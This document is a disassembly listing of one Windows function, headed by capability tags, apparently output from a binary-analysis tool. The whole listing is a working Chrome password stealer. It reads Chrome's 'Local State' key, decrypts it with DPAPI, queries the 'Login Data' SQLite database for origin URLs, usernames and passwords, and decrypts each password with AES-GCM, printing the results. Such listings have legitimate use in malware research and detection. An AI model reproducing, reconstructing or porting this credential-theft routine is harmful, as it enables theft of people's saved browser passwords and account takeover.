Function at 0x1400011c0
Capabilities:
Decode data using base64 via winapi
Encrypt data using dpapi
Query environment variable

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x9c8]
sub rsp, 0xac8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x990], rax
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rbx, rax
test rax, rax
jne 0x14000120e
lea rcx, str.Error:_Unable_to_get_username._n
call fcn.140001060
mov eax, 1
jmp 0x14000178a
mov qword [rsp + 0xae0], rsi
lea rcx, str.___Got_username:__s_n
mov qword [rsp + 0xae8], rdi
mov rdx, rbx
mov qword [rsp + 0xab8], r14
call fcn.140001060
mov r9, rbx
lea r8, str.C:Users_sAppDataLocalGoogleChromeUser_DataDefaultLogin_Data
mov edx, 0x100
lea rcx, [rbp + 0x90]
call fcn.1400010c0
lea rdx, [rbp + 0x90]
lea rcx, str.___Password_path_ready:__s_n
call fcn.140001060
mov r9, rbx
lea r8, str.C:Users_sAppDataLocalGoogleChromeUser_DataLocal_State
mov edx, 0x100
lea rcx, [rbp - 0x70]
call fcn.1400010c0
lea rdx, [rbp - 0x70]
lea rcx, str.___Encryption_key_path_ready:__s_n
call fcn.140001060
lea rdx, [0x140003390]
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
jne 0x14000132d
lea rcx, str.Error_opening_encryption_key_file:
call fcn.140001060
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor r14d, r14d
mov r9d, 0x400
mov ebx, eax
mov qword [rsp + 0x30], r14
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], r14d
mov r8d, ebx
mov qword [rsp + 0x20], rax
xor edx, edx
mov qword [rsp + 0x60], r14
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x140001317
lea rcx, str.Error:__s_n
call fcn.140001060
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, r14d
jmp 0x1400013ae
mov edx, ebx
lea rcx, str.Error:_Unable_to_get_error_message_for_code__d_n
call fcn.140001060
mov rsi, r14
jmp 0x1400013ae
xor r14d, r14d
lea rcx, [rbp + 0x590]
mov r8, rbx
mov edx, 0x400
mov esi, r14d
mov edi, r14d
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x1400013a5
lea rdx, str._encrypted_key_:_
lea rcx, [rbp + 0x590]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
lea rcx, [rbp + 0x590]
test rax, rax
jne 0x1400014b0
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], sil
jne 0x140001380
mov r8, rbx
lea rcx, [rbp + 0x590]
mov edx, 0x400
add edi, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x140001350
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rdx, str._encrypted_key_:_
mov rcx, rsi
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov rbx, rax
test rax, rax
je 0x140001a79
add rbx, 0x11
mov edx, 0x22
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_strchr]
mov rdi, rax
test rax, rax
je 0x140001a63
sub rdi, rbx
lea rcx, [rbp + 0x190]
mov r8, rdi
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
cmp rdi, 0x400
jae 0x140001a8f
mov qword [rsp + 0xaf0], r12
lea rdx, [rbp + 0x190]
mov qword [rsp + 0xac0], r13
lea rcx, str.___Extracted_base64_key_value:__s_n
mov qword [rsp + 0xab0], r15
movaps xmmword [rsp + 0xaa0], xmm6
mov byte [rbp + rdi + 0x190], 0
call fcn.140001060
lea rax, [rbp + 0x190]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001454
mov qword [rsp + 0x30], r14
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], r14
lea rcx, [rbp + 0x190]
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov r8d, 1
mov edx, ebx
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov ecx, dword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r12, rax
test rax, rax
jne 0x140001531
lea rcx, str.Error_allocating_memory_for_decoded_data._n
call fcn.140001060
jmp 0x140001576
sub eax, ecx
xor r8d, r8d
mov rcx, rbx
lea edx, [rdi + rax]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov ecx, 0x400
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
jne 0x1400014f1
lea rcx, str.Error:_Memory_allocation_failed._n
call fcn.140001060
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rsi, r14
jmp 0x1400013ae
mov r8, rbx
mov edx, 0x400
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x1400013a5
lea rcx, str.Error_reading_key_value._n
call fcn.140001060
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rsi, r14
jmp 0x1400013ae
mov qword [rsp + 0x30], r14
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], r14
lea rcx, [rbp + 0x190]
mov r9, r12
mov qword [rsp + 0x20], rax
mov r8d, 1
mov edx, ebx
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x140001579
lea rcx, str.Base64_decoding_failed._n
call fcn.140001060
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r12, r14
mov esi, dword [rsp + 0x60]
mov r15d, esi
test esi, esi
je 0x1400015a9
mov rbx, r12
mov edi, r15d
nop word [rax + rax]
movzx edx, byte [rbx]
lea rcx, str.x_02X
call fcn.140001060
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x140001590
lea rcx, [0x1400034a4]
call fcn.140001060
xorps xmm0, xmm0
mov dword [rsp + 0x78], esi
mov rcx, r15
mov qword [rbp - 0x80], r12
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
jne 0x1400015e4
lea rcx, str.Error_allocating_memory_for_decoded_data._n
call fcn.140001060
jmp 0x140001689
add dword [rsp + 0x78], 0xfffffffb
lea rax, [rsp + 0x50]
add qword [rbp - 0x80], 5
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], r14d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x140001689
lea rcx, str.Error_decrypting_data:
call fcn.140001060
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], r14
mov r9d, 0x400
mov ebx, eax
mov dword [rsp + 0x28], r14d
lea rax, [rbp - 0x78]
mov qword [rbp - 0x78], r14
mov r8d, ebx
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov rdx, qword [rbp - 0x78]
test rdx, rdx
je 0x14000167b
lea rcx, str.Error:__s_n
call fcn.140001060
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140001689
mov edx, ebx
lea rcx, str.Error:_Unable_to_get_error_message_for_code__d_n
call fcn.140001060
movaps xmm6, xmmword [rsp + 0x50]
lea rcx, str.___Maskterkey_not_hex__s:__n
movdqa xmm0, xmm6
psrldq xmm0, 8
movq rdx, xmm0
call fcn.140001060
lea rcx, str.___Maskterkey_in_hex:__n
call fcn.140001060
movd eax, xmm6
movdqa xmm0, xmm6
movaps xmm6, xmmword [rsp + 0xaa0]
psrldq xmm0, 8
movq r13, xmm0
test eax, eax
je 0x1400016f9
mov rbx, r13
mov edi, eax
nop word [rax + rax]
movzx edx, byte [rbx]
lea rcx, str.x_02X
call fcn.140001060
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x1400016e0
lea rcx, [0x1400034a4]
call fcn.140001060
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x90]
call qword [sym.imp.sqlite3.dll_sqlite3_open]
test eax, eax
je 0x1400017a3
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.sqlite3.dll_sqlite3_errmsg]
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rbx
lea rdx, str.Cannot_open_database:__s_n
mov rcx, rax
call fcn.140001010
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.sqlite3.dll_sqlite3_close]
mov eax, 1
mov r12, qword [rsp + 0xaf0]
mov r13, qword [rsp + 0xac0]
mov r15, qword [rsp + 0xab0]
mov rdi, qword [rsp + 0xae8]
mov rsi, qword [rsp + 0xae0]
mov r14, qword [rsp + 0xab8]
mov rcx, qword [rbp + 0x990]
xor rcx, rsp
call fcn.140001ab0
add rsp, 0xac8
pop rbx
pop rbp
ret
lea rcx, str.___Opened_SQL_databes_succesfully_n
call fcn.140001060
mov rcx, qword [rsp + 0x70]
lea r9, [rsp + 0x68]
mov r8d, 0xffffffff
mov qword [rsp + 0x20], r14
lea rdx, str.SELECT_origin_url__username_value__password_value_FROM_logins
call qword [sym.imp.sqlite3.dll_sqlite3_prepare_v2]
test eax, eax
je 0x140001800
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.sqlite3.dll_sqlite3_errmsg]
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rbx
lea rdx, str.Failed_to_execute_SQL_query:__s_n
mov rcx, rax
jmp 0x140001745
lea rcx, str.___Executed_SQL_query_succesfully_n
call fcn.140001060
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.sqlite3.dll_sqlite3_step]
cmp eax, 0x64
jne 0x140001a3d
mov rcx, qword [rsp + 0x68]
xor edx, edx
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
mov rcx, qword [rsp + 0x68]
mov edx, 1
mov rdi, rax
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
mov rcx, qword [rsp + 0x68]
mov edx, 2
mov rbx, rax
call qword [sym.imp.sqlite3.dll_sqlite3_column_blob]
mov rcx, qword [rsp + 0x68]
mov edx, 2
mov r15, rax
call qword [sym.imp.sqlite3.dll_sqlite3_column_bytes]
mov rdx, rdi
lea rcx, str.Origin_URL:__s_n
movsxd rsi, eax
call fcn.140001060
mov rdx, rbx
lea rcx, str.Username:__s_n
call fcn.140001060
lea rcx, str.Full_password_from_local_data__Binary_:
call fcn.140001060
mov rbx, r14
test esi, esi
jle 0x1400018b9
nop word [rax + rax]
movzx edx, byte [r15 + rbx]
lea rcx, str._02x
call fcn.140001060
inc rbx
cmp rbx, rsi
jl 0x1400018a0
lea rcx, [0x1400034a4]
call fcn.140001060
mov edx, esi
lea rcx, str.Full_password_size:__d_n
call fcn.140001060
cmp esi, 0xf
jl 0x140001a0f
movsd xmm0, qword [r15 + 3]
lea rcx, str.IV:
movsd qword [rsp + 0x78], xmm0
mov eax, dword [r15 + 0xb]
mov dword [rbp - 0x80], eax
call fcn.140001060
mov rbx, r14
nop
movzx edx, byte [rsp + rbx + 0x78]
lea rcx, str._02x
call fcn.140001060
inc rbx
cmp rbx, 0xc
jl 0x140001900
lea rcx, [0x1400034a4]
call fcn.140001060
cmp esi, 0xf
jg 0x140001942
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rdx, str.Password_size_too_small_n
jmp 0x140001a21
lea rcx, [rsi - 0xe]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add rsi, 0xfffffffffffffff1
lea rdx, [r15 + 0xf]
mov r8, rsi
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, str.Password:
mov byte [rsi + rdi], 0
call fcn.140001060
mov rbx, r14
test rsi, rsi
jle 0x140001998
nop word [rax + rax]
movzx edx, byte [rdi + rbx]
lea rcx, str._02x
call fcn.140001060
inc rbx
cmp rbx, rsi
jl 0x140001980
lea rcx, [0x1400034a4]
call fcn.140001060
mov qword [rsp + 0x40], r13
lea rax, [rsp + 0x78]
mov qword [rsp + 0x38], rax
lea rdx, [rbp - 0x78]
mov qword [rsp + 0x30], r14
mov r9, rdi
mov qword [rsp + 0x28], r14
xor r8d, r8d
mov rcx, rdi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.libsodium.dll_crypto_aead_aes256gcm_decrypt]
test eax, eax
je 0x1400019f2
lea rcx, str.Decryption_failed_n
call fcn.140001060
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140001120
mov rdx, rdi
lea rcx, str.Decrypted_password_is:__s_n
call fcn.140001060
lea rcx, [0x1400034a4]
call fcn.140001060
jmp 0x140001a29
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rdx, str.Password_size_too_small_to_generate_IV_n
mov rcx, rax
call fcn.140001010
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.sqlite3.dll_sqlite3_step]
cmp eax, 0x64
je 0x140001820
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.sqlite3.dll_sqlite3_finalize]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.sqlite3.dll_sqlite3_close]
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
jmp 0x14000175a
lea rcx, str.Value_not_found._n
call fcn.140001060
mov eax, 1
jmp 0x140001772
lea rcx, str.Key_not_found._n
call fcn.140001060
mov eax, 1
jmp 0x140001772
call fcn.140001bd8
int3